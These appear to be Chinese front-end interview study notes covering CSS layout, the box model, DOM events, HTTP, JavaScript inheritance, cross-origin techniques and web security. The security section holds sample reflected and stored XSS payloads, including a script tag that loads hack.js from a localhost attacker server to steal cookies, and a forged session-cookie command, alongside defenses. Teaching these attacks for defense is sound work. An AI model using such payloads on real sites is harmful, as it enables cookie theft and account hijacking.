布局
css布局模式?
W3C标准是什么?
页面布局
三栏布局(横向)
flex-grow`属性定义项目的放大比例,默认为`0
flex-shrink属性定义了项目的缩小比例,默认为1,
Float,absolute,flex,table-box,grid
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
padding: 0;
margin: 0;
}
.layout {
margin-top: 20px;
}
</style>
</head>
<body>
<!-- 浮动布局 ???为什么center刚好再亮个浮动块的中间区域 -->
<section class="layout float">
<style media="screen">
.layout.float article div {
min-height: 100px;
}
.layout.float article .left {
background-color: pink;
float: left;
width: 300px;
}
.layout.float article .right {
background-color: blue;
float: right;
width: 300px;
}
.layout.float article .center {
background-color: red;
}
</style>
<article>
<div class="left"></div>
<div class="right"></div>
<div class="center">12345</div>
</article>
</section>
<!-- 绝对定位 -->
<section class="layout absolute">
<style media="screen">
.layout.absolute article div {
min-height: 100px;
}
.layout.absolute article .left {
background-color: pink;
position: absolute;
left: 0;
width: 300px;
}
.layout.absolute article .right {
background-color: blue;
position: absolute;
right: 0;
width: 300px;
}
.layout.absolute article .center {
background-color: red;
position: absolute;
left: 300px;
right: 300px;
}
</style>
<article>
<div class="left"></div>
<div class="right"></div>
<div class="center">12345</div>
</article>
</section>
<!-- flex布局 -->
<section class="layout flex">
<style media="screen">
.layout.flex {
margin-top: 140px;
}
.layout.flex article div {
min-height: 100px;
}
.layout.flex article {
display: flex;
}
.layout.flex article .left {
background-color: pink;
width: 300px;
}
.layout.flex article .right {
background-color: blue;
width: 300px;
}
.layout.flex article .center {
background-color: red;
flex: 1;
}
</style>
<article>
<div class="left"></div>
<div class="center">12345</div>
<div class="right"></div>
</article>
</section>
<!-- table布局 -->
<section class="layout table">
<style media="screen">
.layout.table article {
display: table;
width: 100%;
height: 100px;
}
.layout.table article div {
min-height: 100px;
display: table-cell;
}
.layout.table article .left {
background-color: pink;
width: 300px;
}
.layout.table article .right {
background-color: blue;
width: 300px;
}
.layout.table article .center {
background-color: red;
}
</style>
<article>
<div class="left"></div>
<div class="center">12345</div>
<div class="right"></div>
</article>
</section>
<!-- grid布局 -->
<section class="layout grid">
<style media="screen">
.layout.grid article {
display: grid;
width: 100%;
height: 100px;
grid-template-columns: 300px auto 300px;
grid-template-rows: 100px;
}
.layout.grid article div {}
.layout.grid article .left {
background-color: pink;
}
.layout.grid article .right {
background-color: blue;
}
.layout.grid article .center {
background-color: red;
}
</style>
<article>
<div class="left"></div>
<div class="center">12345</div>
<div class="right"></div>
</article>
</section>
</body>
</html>
优劣:
浮动布局,需要清除浮动
绝对定位,脱离了文档流
flex兼容性较好,较完美
表格布局,单元格同时增高
网格布局兼容不好
中间内容区域超出后,各个的异同:

表格和flex会自动岁内容高度撑开
浮动布局中间的区域超出后,如何保证在中间区域,宽度保持?
创建BFC,添加代码:
.layout.float article div {
min-height: 100px;
overflow: hidden;
}
布局???:
语义化的标签有哪些?
html的DOCTYPE是什么?
如何清除浮动?
css盒模型
谈谈你对盒模型的认识
基本概念:标准模型、IE模型
如何设置和区别:
标准模型:box-sizing:content-box
height = content
IE模型:box-sizing:border-box
Height = content + padding + border
###js如何获取盒模型的宽和高?
<style>
.box {
width: 200px;
height: 200px;
border: 3px solid red;
padding: 20px;
}
</style>
<div class="box" style="height: 100px;">123</div>
<script>
const oBox = document.getElementsByClassName('box')[0];
let h1 = oBox.style.height; //仅能获取内联高度
console.log(h1); //100px
let h2 = oBox.currentStyle.height; //获取无论内联、style标签、外联引入的计算后的高度,仅IE支持
console.log(h2); //IE中才有输出
let h3 = window.getComputedStyle(oBox).height; //通用性更好
console.log(h3); //100px
console.log(oBox.getBoundingClientRect());
let h4 = oBox.getBoundingClientRect().height; //该方法可获取到left、top、bottom和width、height,
console.log(h4); //输出146,是IE模型的高度
</script>
根据盒模型解释边距重叠?
第一种:兄弟节点边距重叠,取最大值
<section>
<style>
.line1 {
margin-top: 5px;
margin-bottom: 20px;
background-color: blue;
}
.line1:nth-child(2) {
background-color: red;
}
</style>
<div class="line1">12345</div>
<div class="line1">12345</div>
<div class="line1">12345</div>
</section>

第二种:父子节点边距重叠
第三种:浮动元素脱离文档流,导致影响其他元素位置
第四种:普通元素被浮动元素覆盖
解决方案:BFC
基本概念:格式化上下文
原理(渲染规则):
-
同一个 BFC 下外边距会发生折叠,如果想要避免外边距的重叠,可以将其放在不同的 BFC 容器中。
-
BFC可以包含浮动的元素,清除浮动。
-
BFC 可以阻止元素被浮动元素覆盖
如何创建BFC?
只要元素满足下面任一条件即可触发 BFC 特性:
- body 根元素
- 浮动元素:float 除 none 以外的值
- 绝对定位元素:position (absolute、fixed)
- display 为 inline-block、table-cells、flex
- overflow 除了 visible 以外的值 (hidden、auto、scroll)
base64? 优缺点?
一般图片小于10kb的时候,我们才会选择使用base64图片 太大的图片转换成base64得不偿失
优点
(1)base64格式的图片是文本格式,占用内存小,转换后的大小比例大概为1/3,降低了资源服务器的消耗;
(2)网页中使用base64格式的图片时,不用再请求服务器调用图片资源,减少了服务器访问次数。
缺点
(1)base64格式的文本内容较多,存储在数据库中增大了数据库服务器的压力;
(2)网页加载图片虽然不用访问服务器了,但因为base64格式的内容太多,所以加载网页的速度会降低,可能会影响用户的体验。
(3)base64无法缓存,要缓存只能缓存包含base64的文件,比如js或者css,这比直接缓存图片要差很多,而且一般HTML改动比较频繁,所以等同于得不到缓存效益。
各种图片格式的区别?
html的img标签设置图片和通过div的背景图设置图片,有什么优劣?
Less语法
移动端自适应方案及原理是什么?
1像素问题怎么解决
px和rem和em区别
1、Rem:相对于根节点,根节点基准值设置16px,那么1rem=16px。
REM不兼容低版本的浏览器
//动态根节点font-size计算
(function(designWidth, n) {
function getRem() {
var html = document.getElementsByTagName("html")[0];
var deviceWidth = document.body && document.body.clientWidth || document.documentElement.clientWidth;
var rem = deviceWidth / designWidth * n;
console.log(rem)
html.style.fontSize = rem + "px";
}
getRem()
window.addEventListener('resize', function() {
getRem()
})
})(750, 100)
2、em:是相对于当前字体大小计算
举例来说,如果当前元素的字体是20px,那么当前元素中的1em就等于20px。
3、对于段落文本不能用rem作为单位,应该用px处理,对于不同的dpr下设置不同的字体。
//https://juejin.cn/post/6844903498165780488
.selector {
color: red;
font-size: 14px;
}
[data-dpr="2"] .selector {
font-size: 28px; // 14 * 2
}
[data-dpr="3"] .selector {
font-size: 42px; // 14 * 3
}
3、百分比布局(流式布局)
百分比布局也叫作流式布局、弹性盒布局。手机网页没有版心,都左右撑满。 百分比能够设置的属性是width、height、padding、margin。其他属性比如border、font-size不能用百分比设置的。
4、媒体查询
值得注意:媒体查询只能包裹选择器,不能包裹k:v对儿。 IE6、7、8不支持媒体查询,也为了防止手机端的某些浏览器不支持媒体查询,所以不要把所有的选择器都放在媒体查询里面。
body {
background-color: grey;
}
@media screen and (min-width:1200px){
body{
background-color: pink;
}
}
@media screen and (min-width:700px) and (max-width:1200px){
body{
background-color: blue;
}
}
@media screen and (max-width:700px){
body{
background-color: orange;
}
}
那么在具体的应用中如何在两者中做选择呢?有两条简单的指导原则:
-
如果属性尺寸要根据元素字体进行缩放,则使用
em -
其它情况下都使用
rem
设备像素比(dpr) = 物理像素 / 设备独立像素 // 在某一方向上,x方向或者y方向
宽高不固定的元素水平居中
css动画
动画
animation(动画)和transition(过渡)
animation子属性:
animation-name: 动画名称(默认值为none)
animation-duration: 持续时间(默认值为0)
animation-timing-function: 时间函数(默认值为ease)
animation-delay: 延迟时间(默认值为0)
animation-iteration-count: 循环次数(默认值为1)
animation-direction: 动画方向(默认值为normal)
animation-play-state: 播放状态(默认值为running)
animation-fill-mode: 填充模式(默认值为none)
@keyframes{
0%{background-color: lightblue;}
30%{background-color: lightgreen;}
60%{background-color: lightgray;}
100%{background-color: black;}
}
transition子属性
transition-property: 过渡属性(默认值为all)
transition-duration: 过渡持续时间(默认值为0s)
transiton-timing-function: 过渡函数(默认值为ease函数)
transition-delay: 过渡延迟时间(默认值为0s)
例如星星怎么画?
DOM事件
###DOM事件的级别
DOM0标准 >> dom.onclick = function(){}
DOM2标准 >> dom.addEventListener("click", function(){}, true)
DOM3标准 >> dom.addEventListener("keyup", function(){}, false)
###DOM事件模型
捕获和冒泡
###DOM事件流
捕获阶段 + 目标阶段 + 冒泡阶段
捕获:事件从window从上而下向目标节点传播
目标:真正的目标节点正在处理事件
冒泡:事件从目标节点自下而上向window对象传播的阶段
###描述DOM事件捕获的具体流程
捕获:window > document > html > body > ... > 目标元素
冒泡:反之
###Event对象的常见应用
event.preventDefault禁止默认事件
event.stopPropagation和event.stopImmediatePropagation阻止事件冒泡到父元素,后者是还可以禁止该元素上其他事件的触发
event.currentTarget:当前点击的元素(被委托的元素)
event.target 真正的目标元素
###自定义事件
<body>
<div class="box">1234</div>
<script>
//创建事件, Event是无法传递参数的
// let eve = new Event("custome");
// 创建事件, CustomEvent是可以传递参数的
var eve = new CustomEvent('custome', {
detail: {
dog: "wo",
cat: "mio"
}
});
const oBox = document.getElementsByClassName("box")[0]
oBox.addEventListener("custome", function() {
console.log("custome event is dispatched", event);
})
oBox.onclick = function() {
console.log("click event is dispatched", event);
}
oBox.dispatchEvent(eve)
</script>
</body>
控制台:
兼容性处理
有哪些浏览器兼容处理?
网络协议
HTTP协议
####HTTP协议的主要特点:
简单快速、灵活、无连接、无状态
####HTTP报文组成:
请求行、请求头、空行、请求体
响应行、响应头、空行、响应体
什么是请求行:请求方法、地址、协议、版本 GET / http1.1
什么是请求头:比如HOST、Cookie、Content-Type等
HTTP方法:
GET、POST传输、DELETE、PUT更新、HEAD获取报文首部
GET和POST区别
get传参长度有限制,post没有
浏览器回退对get无影响,post会重新提交
get参数暴露在url中,不安全
get参数会被浏览器主动缓存,post不会,除非手动设置
get地址会保存在历史记录中,post不会
get只能进行url编码,post支持多种编码
get参数通过URL传递,POST放在Request body中
对参数的数据类型,get只接受ASCII字符,而POST没有限制
HTTP状态码:
1xx 请求接收成功,继续处理
2xx 请求被成功接收
200 OK:发送请求成功
206 Partial Content:发送了一个带有Range头的GET请求,服务器完成了它
3xx 重定向
301 Moved Permanently:地址已经转移
302 Found:地址临时转移
304:有缓存文件且返回
4xx 资源地址错误
400 Bad Request:请求有语法错误
401 Unauthorized:请求未授权,这个状态码必须和WWW-Authenticate报头域一起使用
403 Forbidden:请求被禁止
404:地址不存在
5xx 服务器内部异常
500:服务器发生错误
503:过载或宕机
什么是持久化连接:
HTTP协议类-持久连接
非“keep-Alive”模式时,每个请求-应答客户端和服务端都要建立一个连接,完成之后立即断开;
采用“keep-Alive”模式(又称持久连接、连接重用)时,客户端和服务端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive功能避免了建立或者重新建立连接。
Http1.0默认是关闭的,需要在http头部加入“Connection: Keep-Alive”,才能启用Keep-Alive;
Http1.1默认是开启的,如果加入“Connection: close”,才关闭
什么是管线化:
HTTP协议类-管线化
在使用持久连接的情况下,某个连接上消息的传递类似于
请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3
使用管线化的情况下,会一次性打包请求,某个连接上消息的传递类似于
请求1 -> 请求2 -> 请求3 -> 响应1 -> 响应2 -> 响应3
管线化特点:
管线化通过持久连接完成,仅HTTP1.1支持此技术
只有GET和HEAD请求可以进行管线化,POST则有所限制
初次创建连接时不用启动管线机制,因为对方服务器不一定支持HTTP/1.1版本的协议
管线化不会影响响应到来的顺序
HTTP/1.1要求服务器支持管线化,但不要求服务器端也对响应进行管线化处理,指示要求对管线化的请求不失败即可
由于上面提到的服务端问题,开启管线化很可能并不会带来大幅度的性能提升,而且很多服务器和代理程序对管线化的支持并不好,因此现代浏览器如Chrome和Firefox默认并不开启管线化
网络协议有哪些?
http、tcp、websorket
http优化?
默认端口号是多少?
http:80
https:443
ftp文件传输:21
Telnet(远程登录):23
Http的传输层都是啥?http是如何传输的?
OSI参考模型有7层;
TCP/IP协议4层:
应用层、(HTTP、DNS、ftp、SMTP、TELNET)DHCP动态主机配置协议
传输层、(TCP、UDP)
网络层、(IP、ICMP、ARP、RARP)
接口层(各种物理层通信网络接口)。
TCP和UDP:
TCP有三次握手,建立连接,可靠性传输,链接终止;
UDP无连接,不可靠传输,传输快,适合音频和视频。
三次握手和四次挥手
ACK (Acknowledge character)即是确认字符
SYN:同步序列编号(Synchronize Sequence Numbers)
FIN(finish结束)
HTTPS和HTTP的主要区别
1、https协议需要到CA申请证书,一般免费证书较少,因而需要一定费用。
2、http是超文本传输协议,信息是明文传输,https则是具有安全性的ssl/tls加密传输协议。
3、http和https使用的是完全不同的连接方式,用的端口也不一样,前者是80,后者是443。
4、http的连接很简单,是无状态的;HTTPS协议是由SSL/TLS+HTTP协议构建的可进行加密传输、身份认证的网络协议,比http协议安全。
HTTP请求的完整过程
-
DNS域名解析
-
查找IP,层层解析,依次按照:(浏览器缓存、本机域名解析文件etc/hosts、LDNS-LocaldnsServer、RootServer域名服务器、国际顶级域名服务商的DNS)
-
三次握手、封装豹纹、发送豹纹,
-
解析豹纹、返回响应
-
收到响应,页面渲染

各种协议与HTTP的关系
- 客户端
- DNS负责将域名解析成IP地址
- HTTP协议生成针对目标WEb服务器的HTTP请求报文
- TCP协议为了方便通信,将HTTP请求报文分割成报文段。按序号分成多个报文段,把每个报文段通过三次握手可靠的传给对方
- IP协议的职责是搜索对方地址,一边中转一边传送
- 服务端
- TCP协议从对方那里接受到的报文段,重新组成到达的报文段,按照原来的顺序重组请求报文
- HTTP协议对WEB服务器请求的内容进行处理,同样处理的结果通过TCP/IP通信向用户进行回传
TCP/IP的分层管理
- 层次:应用层、传输层、网络层、数据链路层。
- 分层的优点:如果互联网只有一个协议统筹,某个地方需要改变设计时,就必须把所有部分整体替换掉。而分层以后,只需要把有变动的层替换即可。把各层之间的接口部分规划好之后,每个层次内部的设计就能自由改变了。
- 各层的作用
- 应用层: 决定了向用户提供应用服务时通信的活动。(TCP/IP预存了各类通用的应用服务:FTP和DNS,HTTP协议就处于该层)
- 传输层: 传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据传输(在传输层有两个性质不同的协议TCP,和UDP)
- 网络层(又名网络互连层):网络层用来处理网络上的流动的数据包,数据包是网络传输的最小数据单位。该层规定了通过怎样的路径(所谓的传输路线)到达对方计算机,并把数据传输给对方
- 链路层(又名数据链路层,网络接口层):用来处理连接网路硬件部分。包括控制操作系统、硬件的设备驱动、网卡及光纤等物理可见部分。硬件部分都属于链路层的作用范围。
http请求行中的reffer是什么?
用来判断请求的源,防止攻击
axios 取消请求?
缓存
cookie和session的区别?
HTTP协议是无状态的协议。要想保持回话,需要通过cookie,
cookie数据保存在客户端,不安全,session存储在服务端,用于储存用户隐私信息;
通过浏览器带的cookie找到服务器的session,将用户信息返回给浏览器,完成登录;
都有有效期的说法,谁来设置,什么时候过期;
cookie在客户端的限制是3K。
cookie特性:
Cookie具有不可跨域名性。
中文与英文字符不同,中文属于Unicode字符,在内存中占4个字符,而英文属于ASCII字符,内存中只占2个字节。Cookie中使用Unicode字符时需要对Unicode字符进行编码,否则会乱码。
restful有什么特点,如何使用?
原型链
创建对象的几种方法
字面量、构造函数实例化、Object.create()
原型、构造函数、原型链、实例


原型链原理:用用 __proto__ 属性来表示一个对象的原型链。当查找一个对象的属性时,JavaScript 会向上遍历原型链,直到找到给定名称的属性为止!
instanceof的原理
eg: teacher instanceof Person
构造函数Person的原型是否在teacher所在原型链上
new运算符
new Person()运行原理:
- 创建一个空的简单JavaScript对象(即{});
- 链接该对象(即设置该对象的构造函数)到另一个对象 ;
- 将步骤1新创建的对象作为this的上下文 ;
- 如果该函数没有返回对象,则返回this
<script>
function new2(func) {
let o = Object.create(func.prototype)
let k = func.call(o);
if (typeof k === 'object') {
return k
} else {
return o
}
}
function Person() {
this.name = 'chen'
}
let p = new2(Person)
console.log(p);
</script>
面向对象
类与实例
类的声明
<script>
class Foo {
z = 1 //实例属性 写法一
constructor(x, y) {
this.x = x //实例属性 写法二
this.y = y
}
//原型方法
add() {
return this.x + this.y
}
// 静态方法(类的公有方法)
static subtract = () => {
return 'hello'
}
}
// 静态属性,但是目前,只有这种写法可行,因为ES6明确规定,Class内部只有静态方法,没有静态属性。
// ES7 有一个静态属性的提案, 目前需要使用 Babel 转码器支持。
Foo.prop = 1;
const m = new Foo(1, 2)
console.log(m.add())
console.log(Foo.prop); // 1
class Child extends Foo {
constructor(props) {
super(props);
}
// 父类的静态方法可以被子类继承
// 静态方法也是可以从super对象上调用。
static subtract2() {
return super.subtract() + 'yhh'
}
}
class MyClass {
static myStaticProp = 42;
constructor() {
console.log(MyClass.myProp); // 42
}
}
</script>
生成实例
类与继承
如何实现继承
-
.call()继承
-
.prototype继承
-
以上方法组合使用
-
优化:原型隔离Object.create()、构造函数指向
继承的几种方式
<script>
// .call()继承
function Parent() {
this.name = 'parent'
}
Parent.prototype.say = function() {
console.log('hello');
}
function Child() {
Parent.call(this) //不能继承原型上的属性和方法
this.age = 12
}
// console.log(new Parent(), new Child());
// .prototype继承
//问题:c1与c2的原型链和原型对象是同一个引用,所以修改c1会影响c2,c1.__proto__===c2.__proto__
function Parent2() {
this.name = 'parent'
this.arr = [1, 2, 3]
}
Parent2.prototype.say = function() {
console.log('hello');
}
function Child2() {
this.age = 12
}
Child2.prototype = new Parent2()
let p1 = new Parent2()
let c1 = new Child2()
let c2 = new Child2()
c1.arr.push(4)
// console.log(c1, c2);
// // Object.create继承
// // 问题???:Child2不是构造函数
// function Parent2() {
// this.name = 'parent'
// this.arr = [1, 2, 3]
// }
// Parent2.prototype.say = function() {
// console.log('hello');
// }
// function Child2() {
// let o = Object.create(new Parent2()) //
// o.age = 12
// return o
// }
// console.log(new Parent2(), new Child2());
// let p1 = new Parent2()
// let c1 = new Child2()
// let c2 = new Child2()
// c1.arr.push(4)
// console.log(c1, c2);
// // .call()和.prototype 组合继承
// // 问题:子实例的构造函数指向了Parent
// function Parent3() {
// this.name = 'parent'
// }
// Parent3.prototype.say = function() {
// console.log('hello');
// }
// function Child3() {
// Parent3.call(this) //不能继承原型上的属性和方法
// this.age = 12
// }
// Child3.prototype = Parent3.prototype //原型指向
// let c3 = new Child3()
// console.log(c3);
// console.log(c3.__proto__.constructor === Child3); //false,以此判断实例的构造函数,但是指向了Parent3
// .call()和.prototype 组合继承--优化
// 问题:没有问题
function Parent3() {
this.name = 'parent'
}
Parent3.prototype.say = function() {
console.log('hello');
}
function Child3() {
Parent3.call(this) //不能继承原型上的属性和方法
this.age = 12
}
Child3.prototype = Object.create(Parent3.prototype) //与父函数隔离// ----- 优化
Child3.prototype.constructor = Child3 //----- 优化
let c3 = new Child3()
console.log(c3);
console.log(c3.__proto__.constructor === Child3); //true,以此判断实例的构造函数
</script>
继承bind、call、apply区别
-
bind返回对应函数, 便于稍后调用; apply, call则是立即调用。
-
Apply第二个参数必须是一个数组,call可以不是数组
b.call(a,1,2); b.apply(a,[1,2]);
通过class类如何继承?
通信
什么是同源策略及限制?
同源:协议、端口、域名一致
限制:不是同一个源的文档,没有权利去操作另一个源的文档,主要包括:
1、Cookie、LocalStorage和IndexDB无法获取
2、无法获取或操作另一个资源的DOM
3、Ajax请求不能发送
前后端如何通信?
-
Ajax
-
WebSorket!!!
-
CORS!!!
如何创建ajax?
- XMLHeepRequest对象的工作流程
- 兼容性处理
- 事件的触发条件
- 事件的触发顺序
<script>
var xhr = XMLHttpRequest ? new XMLHttpRequest() : new window.ActiveXObject('Microsoft.XMLHTTP')
xhr.onreadystatechange = function() {
console.log(xhr);
if (xhr.readyState === 4) {
if (xhr.status === 200 || xhr.status === 304) {
console.log(xhr.responseText);
}
}
}
xhr.open('GET', './a.json', true) //Async=true
xhr.send(); //data
</script>
CORS跨域的原理
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。
CORS的基本原理是通过设置HTTP请求和返回中header,告知浏览器该请求是合法的。

Access-control-allow-origin
Access-control-allow-header
Access-control-allow-methods
Access-control-allow-crednetials
withCredentials 属性
上面说到,CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。
Access-Control-Allow-Credentials: true
简单请求:
满足两个条件: 1、请求类型必须是GET,POST,HEAD三者中的一种 2、请求头(Header)中仅可以包含:
- Accept
- Accept Language
- Content Language
- Last Event ID
- Content Type:仅接受application/x-www-form-urlencoded,multipart/form-data,text/plain
不满足上述条件的所有请求,例如PUT,DELETE或者是Content Type是application/json,均为“非简单请求”。
浏览器直接发起请求,就在头信息中加入一个字段origin,服务端判断来自哪个源
非简单请求:
预检请求。就是不符合那两大条件的请求,比如DELETE\PUT,浏览器会先询问浏览器,网页的域名是否在许可名单内,
遇见请求使用的请求方法是OPTIONS,关键信息是Origin。
除了Origin,还有Access-control-request-Method、Access-control-request-Header
跨域通信的几种方式?
- JSONP
- Hash???待补充
- postMessage
- WebSorket
- CORS
- nginx反向代理
JSONP
利用script的开放策略,通src请求,添加回调函数,获取到js脚本,通过javascript解析;
<script>
function handleResponse(response) {
console.log(response);
console.log('The responsed data is: ' + response.data);
}
var script = document.createElement('script');
script.src = 'http://localhost:3000/?callback=handleResponse';
document.body.insertBefore(script, document.body.firstChild);
</script>
// server.js
const http = require("http")
http
.createServer((req, res) => {
if (req.url === '/favicon.ico') {
res.end('')
return
}
res.end("var text = 'hello 跨域成功啦';console.log(text);")
})
.listen(3000)
postMessage
<body>
<h1>a.html</h1>
<!-- b的地址 -->
<iframe id="ifr" src="http://127.0.0.1:53293/%E5%9F%BA%E7%A1%80%E9%A2%98%E5%9E%8B%E7%BB%83%E4%B9%A0/%E9%80%9A%E4%BF%A1%E7%B1%BB/%E8%B7%A8%E5%9F%9F_post/b.html"></iframe>
<script type="text/javascript">
window.onload = function() {
var ifr = document.getElementById('ifr');
var targetOrigin = 'http://127.0.0.1:53293/'; // 若写成'http://b.com/c/proxy.html'效果一样
// 若写成'http://c.com'就不会执行postMessage了
ifr.contentWindow.postMessage('I was there!', targetOrigin);
};
</script>
</body>
<body>
<h1>b.html</h1>
<script type="text/javascript">
window.addEventListener('message', function(event) {
console.log(1111, event.origin);
// 通过origin属性判断消息来源地址
if (event.origin == 'http://127.0.0.1:53293') { //a
alert(event.data); // 弹出"I was there!"
alert(event.source); // 对a.com、index.html中window对象的引用
// 但由于同源策略,这里event.source不可以访问window对象
}
}, false);
</script>
</body>
CORS跨域
Cross-Origin Resource Sharing(CORS)跨域资源共享是一种浏览器技术。
- 优点:
.支持POST以及所有HTTP请求
.安全性相对JSOP更高
.前端要做的事儿比较少
- 缺点:
.不兼容老版本浏览器,如IE9及其以下
.需要服务端支持
.使用起来稍微复杂了些
前端代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>CORS跨域请求</title>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr) {
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined") {
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
window.onload = function () {
var oBtn = document.getElementById('btn1');
oBtn.onclick = function () {
var xhr = createCORSRequest("get", "http://wpdic.com/cors.php");
if (xhr) {
xhr.onload = function () {
var json = JSON.parse(xhr.responseText);
alert(json.a);
};
xhr.onerror = function () {
alert('请求失败.');
};
xhr.send();
}
};
};
</script>
</head>
<body>
<input type="button" value="获取数据" id="btn1">
</body>
</html>
后端:
<?php
header('content-type:application:json;charset=utf8');
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:GET,POST');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Headers:x-requested-with,content-type');
$str = '{"a":1,"b":2,"c":3,"d":4,"e":5}';
echo $str;
?>
跨域请求默认不会携带Cookie信息,如果需要携带,请配置下述参数:
"Access-Control-Allow-Credentials": true
// Ajax设置
"withCredentials": true
CORS和JSONP的应用场景区别?
CORS要求浏览器(>IE10)和服务器的同时支持,是跨域的根本解决方法,由浏览器自动完成。优点在于功能更加强大支持各种HTTP Method,缺点是兼容性不如JSONP。
WebSorket
WebSorket是一种浏览器的API,他的目标是在一个单独的持久连接上提供全双工、双向通信。
WebSorket原理:在JS创建了web sorket之后,会有一个HTTP请求发送到浏览器以发起连接,服务器响应后,建立的连接会使HTTP升级,从HTTP协议交换为Web SOrket协议。
只有在支持websorket协议的服务器上才能正常工作。
var socket = new WebSockt('ws://www.baidu.com');//http->ws; https->wss
socket.send('hello WebSockt');
socket.onmessage = function(event){
var data = event.data;
}
nginx反向代理
可以不用服务器配合,不过需要搭建一个nginx服务器,用于转发请。需要在运维层面修改,且有可能请求的资源并不再我们控制范围内,所以该方式不能作为通用跨域解决方案。
安全
常见安全问题有哪些?
XSS跨域脚本攻击
CSRF跨域请求攻击
点击劫持
XSS危害
XSS跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
显示伪造的文章或图片。
XSS防御手段
反射型——url脚本注入
// 普通 http://localhost:3000/?from=china
// alert尝试 http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie入侵 chrome document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNT Y1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存储型——存储到DB后读取时注入
// 评论
<script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
XSS防范手段
- 转义小知识:
<% code %>用于执行其中javascript代码;
<%= code %>会对code进行html转义;
<%- code %>将不会进行转义
-
HEAD
ctx.set('X-XSS-Protection', 0) // 禁止XSS过滤 -
内容安全策略 (CSP, Content Security Policy)
-
用户输入内容建立黑名单、白名单
-
HttpOnly Cookie。这是预防XSS攻击窃取用户cookie最有效的防御手段。
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
2、CSRF攻击危害
利用用户登录态
用户不知情
完成业务请求
盗取用户资金(转账,消费)
冒充用户发帖背锅
损害网站声誉
CSRF
-
禁止第三方网站带Cookie - 有兼容性问题
-
Referer Check - Https不发送referer
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。
app.use(async (ctx, next) => { await next() const referer = ctx.request.header.referer console.log('Referer:', referer) }) -
验证码
点击劫持 - clickjacking
防御:
X-FRAME-OPTIONS
X-FRAME-OPTIONS 是一个 HTTP 响应头,在现代浏览器有一个很好的支持。这个 HTTP 响应头 就是为了防御用 iframe 嵌套的点击劫持攻击。
JS方式
<head>
<style id="click-jack">
html {
display: none !important;
}
</style>
</head>
<body>
<script>
if (self == top) {
var style = document.getElementById('click-jack')
document.body.removeChild(style)
} else {
top.location = self.location
}
</script>
</body>
算法
JS去重:
<script>
var arr1 = [4, 2, 2, 9, 5, 3, 0, 4, 4, 3]
// // 双层 for 循环 >> O(n^2)
// function distinct(arr) {
// for (let i = 0, len = arr.length; i < len; i++) {
// for (let j = i + 1; j < len; j++) {
// if (arr[i] == arr[j]) {
// arr.splice(j, 1);
// // splice 会改变数组长度,所以要将数组长度 len 和下标 j 减一
// len--;
// j--;
// }
// }
// }
// return arr;
// }
// console.log(distinct(arr1));
// // 自己写的
// function distinct2(arr) {
// var arr2 = [];
// for (var i = 0; i < arr.length; i++) {
// if (arr2.indexOf(arr[i]) === -1) {
// arr2.push(arr[i])
// }
// }
// return arr2;
// }
// console.log(distinct2(arr1));
// // 2、Array.filter() 加 indexOf
// function distinct2(arr) {
// return arr.filter((item, index) => {
// return arr.indexOf(item) === index
// })
// }
// console.log(distinct2(arr1));
// // 3、Array.sort() 加一行遍历冒泡(相邻元素去重)
// // V8引擎 的 sort() 方法在数组长度小于等于10的情况下,会使用插入排序,大于10的情况下会使用快速排序
// function distinct3(array) {
// console.log(array);
// var res = [];
// var sortedArray = array.concat().sort();
// console.log(sortedArray);
// var seen;
// for (var i = 0, len = sortedArray.length; i < len; i++) {
// // 如果是第一个元素或者相邻的元素不相同
// if (!i || seen !== sortedArray[i]) {
// res.push(sortedArray[i])
// }
// seen = sortedArray[i];
// }
// return res;
// }
// console.log(distinct3(arr1));
// // 4、ES6 中的 Set 去重
// function distinct4(array) {
// return Array.from(new Set(array));
// }
// console.log(distinct4(arr1));
// // 简化一下
// let unique4 = (a) => [...new Set(a)]
// console.log(unique4(arr1));
</script>
排序:???
实现裴波那契数列,注意效率?
渲染机制类
什么是DOCTYPE?
简单地说,就是告诉浏览器该html文件是那种DTD(文档类型)。

常见的DOCTYPE有哪些?
简单地说,html5的DOCTYPE是<!DOCTYPE html>,HTML 4.01有两种DOCTYPE,严格模式和传统模式,严格模式就是不包括展示性的和弃用的元素(比如font)。

浏览器渲染过程?
先html,通过html -parser形成DOM tree,
先css,通过css -parser形成CSSOS tree,
然后通过Attachment将两者结合形成Render tree,
这时的Render tree还不知道DOm的位置和样式,需要通过Layout进行计算DOM的宽高样式,
交给GUI进行paint,展示到页面上。





重排?

重绘?

布局layout?
就是计算每个元素的位置,宽高等。
页面性能类
提升页面性能的方法有哪些?
1、资源压缩合并,较少http请求
2、非核心代码异步加载
3、利用浏览器缓存
4、使用CDN
5、预解析DNS
<--https协议中,很多浏览器默认是关闭dns预解析,需手动开启a标签的dns预解析-->
<meta http-equiv="x-dns-prefetch-control" content="on">
<--对link标签进行dns预解析-->
